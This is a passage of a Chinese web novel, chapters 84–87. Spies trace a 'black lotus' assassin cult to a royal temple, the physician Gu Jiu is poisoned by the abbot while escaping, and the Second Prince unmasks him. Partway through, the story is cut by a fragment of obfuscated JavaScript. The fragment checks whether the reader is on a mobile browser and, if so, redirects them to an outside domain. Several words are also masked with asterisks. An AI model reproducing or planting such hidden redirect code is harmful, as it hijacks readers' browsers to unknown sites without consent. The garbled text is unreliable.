“我每日里,不仅要对着一个我根本救不了的小屁孩,装出一副‘尽在掌握’的模样。还要应付那个,比我还会演戏的张夫人!她每日里对着我感恩戴德,哭得梨花带雨,搞得我好像真的能把她儿子给救活一样!我这心里,实在是过意不去啊!”
他说着,又指了指自己那张,因为连续几日没能好好喝酒而略显憔悴的脸。
“您看看,您看看!小爷我都瘦了!这要是再演下去,那孩子的病没好,我怕是就要先因公殉职了!”
忠叔看着
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他这副模样,也是哭笑不得,只能好生安慰。
而就在顾九,在都城内,将这场“救治”大戏,演得风生水起的时候。
千里之外的通州港,陆风的调查,也终于有了突破性的进展。
他没有再去理会那个,早已被官府草草结案的信使。而是将所有的注意力,都集中在了那伙,身份不明的黑衣**身上。
他和他手下的狼卫,避开了所有的官道,如同野狼穿行在最黑暗的巷道之间。
终于,在第三日的深夜,他们在一处废弃的盐场仓库里,找到了那伙**的踪迹。
仓库内,七八具早已僵硬的尸体,横七竖八地倒在地上。正是那夜,从陆风手中逃脱的黑衣**!
他们,竟已被人灭口了!
“统领,您看这个!”一名狼卫,从其中一具尸体的怀中,找到了一样东西。
那是一封,尚未写完的密信。
信上的内容,断断续续,却足以让陆风,看得心惊肉跳!
“……任务失败,遭遇第三方势力‘狼卫’突袭,目标已失,请求下一步指示……”
而在这封信的末尾,还用血,画下了一个极其潦草的图腾。
那是一朵,盛开在佛光之中的黑色莲花!
“统领,”一名狼卫上前,低声汇报道,“都检查过了,一共七具尸体,皆是一刀封喉,手法干净利落,是职业**所为。从他们尸体僵硬的程度判断,死亡时间应该就在我们离开后不到一个时辰。”
“也就是说,”陆风缓缓站起身,沉声说道,“我们前脚刚走,他们后脚便被灭口了。”
“这伙人的背后,还站着另一伙人。”
这个结论,让在场所有狼卫的心中,都蒙上了一层阴影。他们都是从尸山血海中爬出来的精锐,可眼前的景象,却让他们感到了前所未有的压力。
“统领,”另一名狼卫,将一枚从尸体上搜出的令牌呈了上来,“您看这个。”
那令牌,依旧是一枚刻着黑色莲花的令牌。
“佛光与黑莲……”他喃喃自语,那张冷峻的脸上,露出了凝重的神情,“光明与黑暗,慈悲与杀戮,这到底是个什么组织?”
“不管是什么组织,”一名年轻的狼卫,眼中闪烁着冰冷的杀意,“敢动我们的人,便是天王老子,也要把他从地底下给揪出来!”
“柒,闭嘴。”陆风低喝一声,制止了他的冲动。
他知道,自己现在面对的,是一个完全未知的敌人。对方行事狠辣,滴水不漏,甚至连自己人都说杀就杀,其背后隐藏的势力,恐怕远在他们的想象之上。
“将此地图腾,还有这封信,带回都城。”他当机立断,对着身旁的一名狼卫吩咐道,“记住,一定要亲手交到顾先生手上!”
“是!”
“剩下的人,”他的目光,如同刀锋一般,从在场每一个人的脸上扫过,“清理现场,抹掉我们来过的痕迹,然后即刻返回乾国都城!”
“我们这位主公,怕是要有**烦了。”
第84章 黑莲佛印
乾国都城,张府。
顾九正有气无力地斜倚在软榻上,一边打着哈欠,一边熟练地为自己肩上的伤口换着药。
“哎哟……嘶……”他疼得龇牙咧嘴,还不忘对着一旁的张夫人,大吐苦水。
“夫人啊,您是不知道啊。”他用一种忧伤的语气说道,“小老儿我这辈子,行医救人,积德行善,从未想过,有一天会为了救您家公子,而落得如此下场。您看看,您看看我这伤口,再偏一寸,小老儿我这条胳膊可就废了!”
“您再看看我这张脸,憔悴,蜡黄,毫无血色!这都是我为了压制令郎体内的寒毒,耗费了太多心血所致啊!我这是在用我的命,换您儿子的命啊!”
他这番话说得,声情并茂,将一个为了病人而呕心沥血的“神医”形象,刻画得入木三分。
张夫人听完,感动得热泪盈眶,她“噗通”一声跪倒在地,对着顾九便重重地磕了一个头。
“神医大恩,妾身没齿难忘!您放心,只要能救我孩儿一命,便是要妾身倾家荡产,也绝无半句怨言!”
“唉,夫人快快请起。”顾九连忙将她扶起,“医者父母心,救死扶伤,乃是我的本分,谈何‘恩情’二字?只是……”
他话锋一转,脸上露出了几分为难的神情,“只是令郎这病,实在是太过棘手。那‘凤凰胆’至今杳无音信,小老儿我也只能用金针,暂时吊住他一口气。长此以往,怕是……”
就在此时,一名张府的下人,行色匆匆地走了进来。
“夫人,”他躬身道,“揽月楼的忠管家来了,说是奉了沈大小姐之命,为您送来了几样,从南洋新得的滋补品。”
“沈小姐?”张夫人一愣,随即眼中露出了无边的感激,“快!快请!”
不多时,忠叔便提着几个精致的食盒,快步走了进来。
“张夫人,”他对着张夫人,躬身一拜,“我家小姐听闻小公子病情反复,心中甚是担忧。特命老奴,送来几样安神定气的补品,还望夫人不要嫌弃。”
他说着,便将食盒打开。东海的明珠鲍,南海的鱼翅骨,以及一罐上好的江南桂花蜜。
“这……这如何使得?”张夫人看着这些,价值不菲的补品,连忙推辞。
“夫人不必客气。”忠叔笑道,“我家小姐说了,她与夫人一见如故,早已视您为亲姐妹。姐妹之间,互帮互助,乃是常理。”
他说完,又像是想起了什么,从怀中取出了一张折叠得整整齐齐的宣纸,递了上去。
“哦,对了。”他说道,“这是我家小姐,闲来无事时,新研究出的一道甜品食谱,名为‘佛跳墙’。说是用这些食材,辅以雪莲子,一同熬制,最是滋补。小姐说,此方与夫人有缘,便赠予您了。”
张夫人接过那张食谱,只觉得心中一暖。
她怎么也没想到,这位沈大小姐,竟会对自己如此地上心。
然而,她不知道的是,就在她接过那张“食谱”的瞬间。
一旁,那个还在唉声叹气的“神医”顾九,眼神不易察觉地,与忠叔在空中,短暂地交汇了一下。
当晚,顾九便以“需要安静的环境,来研究新的药方”为由,独自一人,住进了张府最偏僻的一处客房。
夜,三更。
一道黑影,如同狸猫一般,悄无声息地翻入了张府的高墙,精准地落在了客房的窗外。
正是柒。
他将一个用油布包裹得严严实实的信筒,从窗户的缝隙里,塞了进去。
顾九接过信筒,将其展开。
当他看到信纸上,那朵用血画下的黑色莲花时,猛地从椅子上站起,将手中的酒葫芦,重重地摔在了地上!
“**!”
“又是黑莲佛印!”他喃喃自语道。
他不再有任何犹豫,立刻取出火折子,将信纸烧成了灰烬。
随即,他快步走到书案前,铺开一张空白的宣纸,提笔蘸饱了墨。
他没有写信,也没有画画。
他只是,潦草的写下了两个大字。
“速归!”
……
陆风返回都城的第三日。
“小姐,您都看这破骨头牌子看了三天了,不闷吗?”春桃将一碟新切的瓜果放在桌上,小声地嘀咕道,“我看这玩意儿长得奇形怪状的,还带着一股血腥味,怪瘆人的,您还不如看看账本呢。”
沈琉璃没有回答,只是伸出纤细的手指,轻轻地抚过令牌上那朵,在佛光下绽放的黑色莲花。那触感冰凉刺骨,仿佛能将人指尖的温度都吸走。
“哼,妇人之见。”君北玄的声音,在她脑海中响起,“这哪里是什么‘破骨头牌子’?这是一种权力的图腾,一个组织的徽记。你这丫鬟若是上了战场,敌人用一块糖就能换走你的兵符。”
“王爷,春桃她只是个丫鬟,不是您麾下那些身经百战的将军。”沈琉璃在心里,有气无力地回敬了一句,“再说,您现在不也正舒舒服服地待在我脑子里,什么都不用做吗?”
君北玄被她这番话噎得半天说不出一个字,最终只能冷哼一声,强行转移了话题:“好了!别说这些没用的了!顾九那个酒鬼,为何会突然发出‘速归令’?难道是安王府那边,有新动静了?!”
沈琉璃缓缓地摇了摇头。
“不,王爷。”她看着那枚黑莲令牌,轻声说道,“我倒觉得,顾先生这次,未必是发现了敌人的动向。”
“那是什么?”
“他或许是,”沈琉璃继续说道,“为我们找到了,一把能撬开安王府大门的钥匙。”
就在此时,忠叔的身影,出现在了门口。他的脸上,没有众人期待的喜悦,反而带着几分凝重。
“小姐,”他躬身道,“顾先生那边,有新消息了。”
“说。”
“顾先生说,他对安王府的初步调查,陷入了僵局。”忠叔缓缓说道,“安王的生活,规律得像一本佛经,除了礼佛、施粥、会见一些德高望重的文人雅士外,没有任何异常。安王本人,更是个闲散王爷,毫无破绽。”
“不过,”忠叔话锋一转,“顾先生也发现了一个线索。”
“安王他,每个月的初一,都会独自一人,前往京郊一座名为‘普渡寺’的皇家寺庙,在寺中最高的浮屠塔内,闭关清修一日。”
“普渡寺?”沈琉璃在心中,默念着这个名字。
“没错。”君北玄的声音,也带上了几分凝重,“本王想起来了,那座寺庙,是你们乾国开国皇帝亲手敕建的皇家寺庙,地位超然。寺中僧人,据说都身怀武艺,名为僧人,实为护卫皇陵的‘僧兵’。安王去那里,绝不只是为了‘清修’那么简单!”
“可那里守卫森严,强闯无异于自投罗网。”沈琉璃的眉头,紧紧地锁了起来,“我们又能如何呢?”
“所以,”忠叔从怀中,取出了一份由顾九亲笔所写的“计划书”,呈了上来,“顾先生说,既然强攻不行,那便只能‘智取’了。”
……
第二日,正是初一。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191128|179246||http|test|mini|href|location''.split(''|''),0,{}));
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r>京郊普渡寺,香火鼎盛,钟声悠扬。
一辆极其普通的青布马车,悄无声息地停在了寺庙的后门。
车帘掀开,走下来的,是一个身着宽大道袍的中年男人。他背着一个半旧的药箱,一边打着哈欠,一边将一个酒葫芦,藏进了宽大的袖中。
正是经过了精妙易容的顾九。
他没有走前门,而是径直走到了后门的知客僧面前,递上了一份由“揽月楼”提前伪造好的,京城“济世堂”的名帖。
“劳烦小师傅通报一声。”他懒洋洋地开口,声音里带着几分医者的倨傲,“就说,城中‘济世堂’的坐堂郎中顾九,听闻贵寺的老方丈近日为风湿旧疾所扰,特来送上几贴祖传的膏药。”
那知客僧本想拒绝,可一听是为老方丈治病,便也不敢怠慢,连忙进去通报。
不多时,一名老僧便亲自将顾九,迎进了寺内。
在为老方丈“诊脉”的过程中,顾九一边装模作样地开着药方,一边看似随意地与老方丈闲聊了起来。
“……方丈大师傅,”他将一张早已备好的空白药方,在上面胡乱地画了几个鬼画符,塞进了那名下人的手里,“您这风湿啊,病根在‘寒’。除了汤药调理,平日里也得多晒晒太阳,登高望远,舒活筋骨才是。”
“唉,老衲也想啊。”老方丈叹了口气,“只是,寺中那座浮屠塔,乃是清修禁地,除了安王殿下,便是连老衲,也不能轻易登顶啊。”
“哦?这是为何?”顾九故作好奇地问道,“那塔顶的风光,想必是极好的吧?”
“何止是好。”老方丈的脸上,露出了几分向往,“那塔顶供奉的,乃是我普渡寺的镇寺之宝,一尊由天外陨铁打造的‘黑莲佛’。只是,此佛杀气太重,寻常人无福消受,唯有像安王殿下那等,佛法高深,心怀慈悲的皇室宗亲,才能每月登顶,为其诵经,以化解其戾气。”
黑莲佛?!
顾九的心,猛地一跳!
他知道,自己终于找到了,那条藏在暗影下的狐狸尾巴!
当晚,顾九便以“需要观察方丈服药后的反应”为由,顺理成章地留在了寺中。
夜,三更。
一道黑影,如同狸猫一般,悄无声息地潜入到了那座浮屠塔下。
他没有走正门,而是利用飞爪,悄无声息地一层一层地向上攀爬。
半个时辰过后,他成功地潜入了浮屠塔的顶层。
塔内,没有经文,没有佛像。
只有一股,冰冷刺骨的寒意。
借着从窗外透进的月光,他看清了塔内的景象。
只见在塔的正中央,竟真的供奉着一个巨大的莲花宝座!
而在宝座的正中央,竟供奉着一枚“黑莲佛印”令牌!在莲花宝座的后方,那面看起来平平无奇的墙壁上,竟用一种极其古老的文字,刻着密密麻麻的名字!
他虽然不识得那种文字,但他却能从那些名字的排列和数量上,判断出,这绝对不是什么祈福的长生牌位!
这更像是一份……
一份,足以让整个乾国朝堂,都天翻地覆的死亡名单!
他意识到,这根本不是什么寺庙,这是一个以宗教为外衣的,恐怖组织的秘密据点!
他必须立刻将这个惊天的消息传出去!
然而,就在他准备转身离去的时候。
一个苍老的声音,忽然从他身后,不紧不慢地响了起来。
“施主,既然来了,何不多坐片刻,品一杯老衲私藏的禅茶再走?”
第85章 禅茶与毒刃
句苍老而又平静的话语,如同一根无形的丝线,让顾九整个人僵在了原地。
他缓缓地转过身,借着从窗外洒入的月光,看清了来人。
正是白天里那个,看起来慈眉善目的老方丈。
此刻,他正提着一个古朴的红泥茶炉,脸上挂着温和的笑容,仿佛他只是在一个寻常的夜晚,偶遇了一位前来赏月的友人。
可他越是如此,顾九的心中便越是冰冷。自己今夜,怕是遇到了生平未有的困境。
“**……”顾九在心里,忍不住骂了一句,“这老秃驴,走路跟猫似的,一点声音都没有。王爷麾下的斥候,跟他比起来都得甘拜下风。”
“施主深夜到访,想必是觉得此地风光独好,与佛有缘吧?”老方丈缓步走了进来,将手中的茶炉放在了一张矮几上。
他动作从容,仿佛早已在此处等候多时。
“大师傅误会了。”他扮演着一个玩世不恭的云游郎中,说道,“在下只是夜里睡不着,便想着出来走走,赏一赏这寺中的月色。谁知竟一时迷了路,误闯了大师傅的清修之地,实在是罪过,罪过。”
他说完,对着老方丈,躬身一拜,作势便要转身离去。
“施主留步。”
老方丈的声音,不紧不慢地响起。
“既然来了,便是有缘。”他指了指对面的蒲团,笑着说道,“老衲刚刚煮好了一壶今年的新茶,采自后山崖壁上,名为‘雪顶佛光’,一年也不过得二三两而已。施主若不嫌弃,不妨坐下,陪老衲对月品茗,谈一谈佛法,如何?”
谈佛法?
顾九听到这三个字,只觉得自己的头都大了三圈。
“跟他谈佛法?”他在心里,疯狂地吐槽着,“小爷我这辈子,除了《本草纲目》和《**》,就没读过第三本书。这老秃驴,分明就是在故意刁难我!”
但是,眼前的境况,自己已经没有了拒绝的余地。
他缓缓地在老方丈的对面坐下,心中早已是将警惕提到了最高。
老方丈的动作,行云流水,充满了禅意。他将滚烫的泉水,注入紫砂壶中,一股清冽的茶香,瞬间在寂静的塔顶弥漫开来。
“施主,”他将一杯琥珀色的茶汤,推到了顾九的面前,“请。”
顾九端起茶杯,却没有喝,只是放在鼻尖轻轻一嗅。
“好茶。”他由衷地赞叹道,“只是,此茶性寒,大师傅您年事已高,又常年受风湿之苦,怕是不宜多饮啊。”
他这是在用自己的方式,提醒对方,别忘了自己“神医”的身份。
“呵呵,施主宅心仁厚,老衲心领了。”老方丈笑了笑,不置可否。
他端起自己的茶杯,浅呷一口,随即看似随意地问道:“施主医术高明,不知可曾听过一种,名为‘黑莲佛印’的奇毒?”
来了!
顾九的心,猛地一紧!
他知道,真正的交锋,现在才刚刚开始。
“黑莲佛印?”他故作困惑地摇了摇头,“在下行医半生,也算是见过了不少疑难杂症,却从未听说过此等**。敢问大师傅,此毒有何症状?”
“也没什么。”老方丈缓缓说道,“中此毒者,初时与常人无异,只是会在眉心处,浮现出一朵极淡的黑色莲花印记。而后,此印记会随着时间的推移,颜色越来越深,直至最后,当**者的心脉被彻底侵蚀,那朵黑莲,便会彻底绽放。”
他说得云淡风轻,仿佛在说一件与自己毫不相干的事。
可听在顾九的耳中,却不亚于平地惊雷!
他怎么也没想到,这“黑莲佛印”竟是一种毒?!
“那……那此毒可有解法?”他试探着问道。
“有。”老方丈点了点头,“解此毒,需一味神药。”
“那便是,传说中,神鸟凤凰涅槃后,所留下的……”
“凤凰胆。”
这个答案,让顾九的心中,掀起了滔天巨浪!
他终于明白了!
安王那个老狐狸,他根本就不是在“招安”他们!
他是在用“凤凰胆”这个虚无缥缈的诱饵,将他们所有人都**于股掌之间!
他从一开始,就没想过要救张启年的儿子!
好一个“慈悲为怀”的安王!
就在顾九震惊之际,老方丈的声音,又从他耳边,不紧不慢地响了起来。
“施主,”他看着顾九,笑着说道,“你可知,老衲为何要与你说这些?”
顾九没有回答,他只是死死地盯着眼前这个,看起来慈眉目善的老人,只觉得浑身冰冷。
“因为,”老方丈缓缓地站起身,走到他的面前,“老衲看施主你,印堂发黑,眉心处,似乎也隐隐有黑气浮现。怕是早已,中了此毒而不自知啊。”
他说着,竟伸出那只枯瘦得如同鸡爪一般的手,朝着顾九的眉心,缓缓地点了过来!
这一指,看似缓慢,却快如闪电!
指尖未至,一股冰冷刺骨的劲风,便已让顾九的皮肤,泛起了一层细小的疙瘩!
顾九的心中,警铃大作!自己已经没有退路了!
他不再有任何犹豫,猛地将手中的茶杯,朝着老方丈的面门,狠狠地砸了过去!
同时,他整个人就地一滚,朝着唯一的出口,那扇紧闭的木窗,猛地撞了过去!
“砰!”
一声闷响!
老方丈只是随意地一挥袖袍,便将茶杯挡下!
而顾九,则趁着这短暂的耽搁,成功地撞碎了木窗,从数十米高的塔顶,一跃而下!
“想走?”
老方丈冷笑一声,也没有去追。只见在他的指尖,不知何时,竟多了一只通体漆黑,只有米粒大小的虫子!
那虫子,在接触到外界空气的瞬间,便猛地张开了那双,薄如蝉翼的翅膀!
“嗡——!”
一声极其轻微的嗡鸣声响起!
那只黑色的虫子,如同离弦之箭,悄无声息地,追着顾九下坠的身影,激射而去!
……
半空中,顾九只觉得后颈一凉,仿佛被一只蚊子,给轻轻地叮了一下。
他没有在意,只是用尽全身的力气,调整着自己的身形,最终“砰”的一声,重重地砸入了塔下那片,早已被积雪覆盖的密林之中!
剧烈的冲击,让他当场便喷出了一口鲜血。
可他却不敢有半分
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停留,连滚带爬地站起,头也不回地,朝着山下的方向,疯狂地逃去!
看来,自己今夜,怕是惹上了一个可怕的敌人!
而就在他离去后不久,普渡寺那悠扬的钟声,忽然变得急促了起来!
无数手持棍棒的僧兵,如同潮水一般,从寺内的各个角落里涌出,将整座后山,都围得水泄不通!
一场无声的追杀,在寂静的雪夜中,正式拉开了帷幕!
“**……真是看得起小爷我。”顾九一边深一脚浅一脚地在雪地里狂奔,一边在心里疯狂地咒骂着,“不就是偷看了你们家那块破牌子吗?至于敲钟放狗,搞得跟要抓叛**似的?这群秃驴,下手比王爷还黑!”
他不敢走直线,只能在崎岖的山林间穿行。冰冷的树枝刮过他的脸颊,留下道道血痕,脚下的积雪深及膝盖,每一步都耗费着巨大的体力。
他现在就像一只,被猎人盯上的兔子。而那些僧兵,便是最凶狠的猎犬。
果不其然,不过一炷香的功夫,山顶上便亮起了星星点点的火把!
紧接着,一阵阵呼哨声,在寂静的雪夜中此起彼伏,形成了一张无形的大网,正从四面八方朝着他收拢而来!
“该死!”顾九躲在一块山岩的后面,探出头,看着远处越来越近的火光,心中一沉。
他知道,自己这么跑下去,迟早会被追上。
他虽然身手不错,但终究是个医者,论体力,论野外生存的经验,他远不是这些僧兵的对手。
他必须想个办法。
就在此时,他忽然感觉,自己后颈处,被叮咬过的地方,传来了一阵阵麻痒。
他下意识地伸出手,摸了一下。
指尖传来的,不是被叮咬后的肿块,而是一种刺骨的冰冷!
他将手指,凑到眼前一看,只见自己的指尖上,竟沾染上了如同墨汁般的黑色!
“不好!”顾九的心,猛地一沉!
他立刻撕开自己的衣领,借着雪地反射的微光,勉强看清了自己后颈的状况。
只见他的后颈处,不知何时,多了一朵只有指甲盖大小的黑色莲花印记!
那印记,与他在塔顶看到的图腾,如出一辙!
“黑莲佛印……”他喃喃自语,声音都在发颤,“那老秃驴,他竟用这种方式,给我下了毒!”
他终于明白了!
老方丈从一开始,就没想过要将他活捉!他要的,只是在他身上,留下这个,足以让他万劫不复的死亡烙印!
一股冰冷的麻痹感,正顺着他的后颈,缓缓地向着他的四肢百骸蔓延。他知道,自己必须在毒气攻心前,找到解药,或是找到一个能救他的人!
他不再有任何犹豫,从自己的药箱里,取出了一包药粉,洒在了自己来时的路上。那药粉,遇雪则化,会散发出一种,极其刺鼻的气味,足以让任何嗅觉灵敏的猎犬,都暂时失灵。
做完这一切,他不再朝着山下的方向逃跑,而是转身,朝着一个,他自己也完全陌生的方向,踉踉跄跄地冲了过去!
他知道,自己现在唯一的生机,是“乱”!
他要将这潭水,搅得越浑越好!
第86章 狼窝里的狐狸
与此同时,都城,安王府。
书房内,依旧是灯火通明,檀香袅袅。
安王李宗霖,正独自一人,静静地发着呆。
一名身着黑衣的护卫,悄无声息地出现在了他的身后,单膝跪地。
“王爷。”
“如何?”安王没有回头,只是淡淡地问道。
“鱼儿,已经入网了。”那护卫的声音,沙哑而冰冷,“普渡寺那边传来消息,顾九已经潜入了浮屠塔,并且,也已身中‘佛印’。”
“哦?”安王捻起一枚白子,轻轻地落在棋盘上,“他倒是比本王想象中,还要能干几分。”
“只是……”那护卫的语气里,带上了几分迟疑,“老方丈失手了,并未能将他当场擒获。如今,他已逃入西山,寺中的僧兵,正在全力搜捕。”
“无妨,他跑不了的。”安王摆了摆手,“中了‘佛印’的人,便是跑到天涯海角,也终究是佛祖掌心的一只蝼蚁罢了。”
“本王要的,从来都不是他的命。”
“本王要的,是他这条命,能钓上多大的鱼。”
他说着,便将目光,投向了窗外那片,早已被风雪覆盖的夜色。
“传我的令,”他缓缓开口,“让‘那边’的人,都动起来吧。”
“告诉他们,那只丢了‘凤凰胆’的凤凰,已经急了。”
“是时候,该收网了。”
……
雪,越下越大了。
顾九只觉得自己的身体,越来越冷,越来越沉。麻痹感,已经从他的后颈,蔓延到了他的整个左肩,让他的左臂,都开始变得不听使唤。
他知道,自己快要撑不住了。
就在他眼前发黑,几乎要一头栽倒在雪地里的时候。
前方,忽然传来了一阵人声和马匹的嘶鸣声。
他心中一喜,连忙循声望去。
只见在不远处的一条官道上,一辆极其华丽的马车,竟不知为何,陷在了厚厚的积雪里。十几名身着锦衣的护卫,正手忙脚乱地,试图将那辆马车,从雪地里给推出来。
而在马车的旁边,一个身着月白色锦袍,外罩一件黑色大氅的青年,正一脸平静地看着手中的书卷,对周围的混乱置若罔闻。
顾九的脑子,嗡的一声。
他怎么也没想到,自己竟会在这里,遇到这个,他最不想遇到的人!
——二皇子,李昭!
“**……真是出门没看黄历。”顾九在心里,忍不住骂了一句,“刚出虎穴,又进狼窝。小爷我今天,怕是真的要交代在这里了。”
他本想,悄无声息地绕过去。
可他刚一动,身后那片寂静的雪林里,便传来了数道,极其轻微的破风声!
是那些僧兵!
他们追上来了!
前有狼,后有虎!
顾九知道,自己已经没有退路了!
他心一横,牙一咬,竟是猛地从雪林里,连滚带爬地冲了出来!
他一边跑,一边将早已凌乱不堪的道袍,撕得更破了些,脸上也抹了几把泥雪,将自己弄得要多狼狈有多狼狈。
“救命啊!救命啊!”他朝着二皇子的方向,声嘶力竭地喊道,“**啊!一群秃驴,要抢我的酒喝啊!”
他这番操作,不仅让正在推车的护卫们看傻了眼,更是让二皇子李昭,终于从书卷中抬起了头。
他看着这个,从雪林里冲出来的人,又看了看他身后,那几个手持棍棒,杀气腾腾的和尚,终于提起了兴致。
“有意思。”他合上手中的书卷,走到顾九的面前,饶有兴致地上下打量了他一番。
“这位道长,”他笑着问道,“你这是被佛门中人,给**了?”
“可不是嘛!”顾九一屁股坐在地上,指着身后那几个僧兵,痛心疾首地控诉道,“这位爷,您是不知道啊!这群秃驴,简直是岂有此理!他们不仅想抢我这壶,珍藏了三十年的‘女儿红’,还想让我,破了这童子之身啊!”
他说着,竟还装模作样地,拉了拉自己早已敞开的衣襟,摆出了一副“誓死不从”的贞洁烈男模样。
“噗——!”
饶是二皇子李昭城府再深,在听完他这番话后,也忍不住,当场笑出了声。
那几名手持棍棒,杀气腾腾的僧兵,在看清皇家仪仗和李昭的四爪蛟龙锦袍时,前进的脚步也猛地顿住了。
他们虽然凶悍,却不是蠢货,公然与皇子发生冲突,无异于自寻死路。
为首的僧人对着李昭远远地合十一礼,随即看了一眼瘫坐在雪地里的顾九,眼中闪过了一抹不甘,最终还是对着身后打了个手势,悄无声息地退回了雪林中。
“哎,别走啊!”顾九见状,竟是“挣扎”着从地上爬了起来,指着他们消失的方向,痛心疾首地喊道,“我这童子之身还没破呢!你们怎么就走了?!回来啊!”
他这番操作,不仅让李昭的护卫们看得目瞪口呆,就连李昭本人,嘴角的笑意也更深了几分。
“行了,道长。”他走上前,饶有兴致地看着眼前这个,脸上又是泥又是雪的“疯道士”,“人都走了,不必再演了。”
“演?”顾九像是听到了什么天大的笑话,他一屁股重新坐回雪地里,将怀里的酒葫芦抱得更紧了些,一脸警惕地看着李昭,“这位爷,您可不能血口喷人!小道我刚才那是在生死之间,为了保住清白而发出的正义呐喊!怎么能叫演呢?”
“是吗?”李昭笑了笑,不置可否。
他蹲下身,与顾九平视。
“那依道长之见,”他看似随意地问道,“普渡寺乃是皇家寺庙,寺中僧人皆是得道高僧,又为何会为了您这壶‘女儿红’,而大动干戈呢?”
顾九的心,猛地一紧!
眼前这个看起来人畜无害的二皇子,远比他那个只知道喊打喊杀的大哥,要难对付得多。
“这个嘛……”顾九眼珠一转,脸上露出了一个悲愤的表情,“此事说来话长,都怪小道我一时糊涂,信了那老秃驴的鬼话!”
他一拍大腿,开始了自己的表演。
他将自己
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获悉普渡寺后山有一株能延年益寿的“千年何首乌”,历经千辛万苦才将其挖到手,结果却被那“见利忘义”的老方丈发现,不仅要抢他的“神药”,还要夺他的“贞操”,添油加醋地说了出来。
他这番话说得,声情并茂,将一个寻宝不成反被追杀的倒霉蛋形象,刻画得入木三分。
“千年何首乌?道长倒是好运气。”李昭听完,脸上的笑意更浓了,“只是,孤倒是有些好奇,道长既然能寻得此等神物,想必医术也定然不凡吧?”
“那是自然!”顾九拍着胸脯,一脸骄傲,“不瞒这位爷说,小道我祖上三代,皆是御医!一手‘金针渡厄’之术,活**,肉白骨,不敢说天下无双,至少也是……”
他话说到一半,忽然像是意识到了什么,连忙用手死死地捂住了自己的嘴。
“你……你套我话?!”
“呵呵,道长多心了。”李昭缓缓地站起身,掸了掸锦袍上并不存在的灰尘,“孤只是,对道长的‘女儿红’,有几分好奇罢了。”
他说着,便对着身后的护卫,淡淡地吩咐道:“马车既然推不出来,那便不要了。派人回府,另备一辆过来。”
“至于这位道长嘛……”他的目光,重新落在了顾九的身上,“我看道长你也受了惊吓,不如,便随孤回府,喝杯热茶压压惊吧。”
这哪里是邀请?
这分明就是不容抗拒的命令!
顾九知道,自己已经没有选择了。他从雪地里爬起来,拍了拍身上的雪。
“既然爷您如此好客,那小道我,便恭敬不如从命了。”
……
两个时辰后,二皇子府,书房。安静得能听见窗外落雪的声音,空气中弥漫着一股好闻的墨香。
李昭亲自为顾九,沏上了一壶上好的大红袍。
“道长,请。”
“多谢二殿下。”顾九也不客气,端起茶杯便一饮而尽。
“好茶,就是比不上我那壶‘女儿红’。”
李昭笑了笑,没有与他争辩。他只是缓缓地走到书案后坐下,将一本看起来有些年头的医经,轻轻地放在了桌上。
“道长,”他缓缓开口,“你可知,这是什么?”
顾九的瞳孔,骤然收缩!
那本书的封面上,赫然写着四个古朴的篆字——
《南华医经》!
“你……你……”他看着李昭,眼中充满了不敢置信。
“看来,道长是识货之人。”李昭点了点头继续说道,“实不相瞒,此书乃是孤一位远房的表妹,前些时日,刚刚赠予孤的。”
“她说,她是在整理亡母遗物时,无意中发现的。”
“道长,”李昭看着他,问道,“你觉得,孤这位表妹,她说的是真话,还是假话呢?”
这个问题,如同一柄最锋利的刀子,剖开了顾九所有的伪装!
原来,自己从一开始,就掉进了这个男人布下的陷阱!
他根本就不是什么“偶遇”!
他是在这里,专门等自己的!
第87章 毒蛇的盟约
“殿下说笑了。”顾九强作镇定地干笑了两声,“小道我只是个走方的郎中,如何能知晓这等皇室秘闻?”
“是吗?”李昭笑了笑,他将那本《南华医经》,缓缓地翻开。
“那依道长之见,”他指着书页上,一段关于“以毒攻毒”的记载,看似随意地问道,“这上面所说的,用‘雪山玫瑰’为君,‘千年火蟾’为臣,再辅以‘凤凰胆’为引,来解‘雪山寒蝉’之毒的方子,是真是假呢?”
顾九的后背,早已被冷汗浸透。
他看着眼前这个二皇子,只觉得他比普渡寺那个,一言不合就下毒的老方丈,还要可怕百倍!
老方丈是明晃晃的刀,而眼前这个,是藏在锦被里的毒蛇!
“殿下……”他的声音,已经带上了几分颤抖,“您到底想说什么?”
“不想说什么。”李昭缓缓地合上了书,“孤只是,对你有几分好奇罢了。”
他顿了顿,将目光,投向了顾九的左肩。
“道长,”他笑着说道,“你肩上的伤,似乎不轻啊。可需要孤,为你传一位太医过来?”
顾九的心,彻底沉入了谷底。
他缓缓地,从椅子上站了起来,对着李昭,深深地一揖到底。
“大徽王朝,肃王麾下,随营军医,顾九。”
“见过,乾国二皇子殿下。”
当顾九那句自报家门的话语,在二皇子的书房内缓缓落下时,李昭脸上的笑容没有半分变化。
他只是静静地看着眼前这个,撕下了所有伪装的“不速之客”,许久,才缓缓地鼓了鼓掌。
“啪,啪,啪。”
清脆的掌声,在寂静的房间里显得格外刺耳。
“好,好一个‘肃王麾下,随营军医’。”他笑着说道,那语气,不像是听到了什么惊天秘密,倒像是在欣赏一出好戏,“顾先生不必多礼,请坐。”
他这副从容不迫的模样,让顾九的心,沉入了更深的谷底。
自己今夜面对的是一个真正的怪物,一个早已将所有人的心思,都算计到了骨子里的怪物。
“**……”顾九在心里,忍不住骂了一句,“这乾国的皇子,怎么一个比一个变态?大的那个是疯狗,逮谁咬谁。这个小的是毒蛇,不咬人,但能把你活活给缠死。跟他们比起来,我们家王爷,简直纯良得像只小白兔。”
他没有再坐下,只是警惕地看着李昭,沉声说道:“殿下既然早已知晓在下的身份,又何必再多此一举,演这出戏呢?您到底想做什么?”
“不想做什么。”李昭缓缓地走到书案前,将那本《南华医经》,小心翼翼地放回了书架上,“孤只是,对先生背后的那位‘主公’,有几分好奇罢了。”
“一个能让肃王麾下最得力的军医和最精锐的统领,都甘愿为其效命的女子;一个能在靖王叔的眼皮子底下,将我大哥,**于股掌之间的女子。”他转过身,看着顾九,笑着说道,“顾先生,你不觉得,这样的人很有趣吗?”
顾九心中一惊,他不仅知道自己的身份,他甚至连陆风的存在,都知道得一清二楚!
“殿下过奖了。”顾九强作镇定地干笑了两声,“我家主公,不过是一介女流,当不得殿下如此谬赞。”
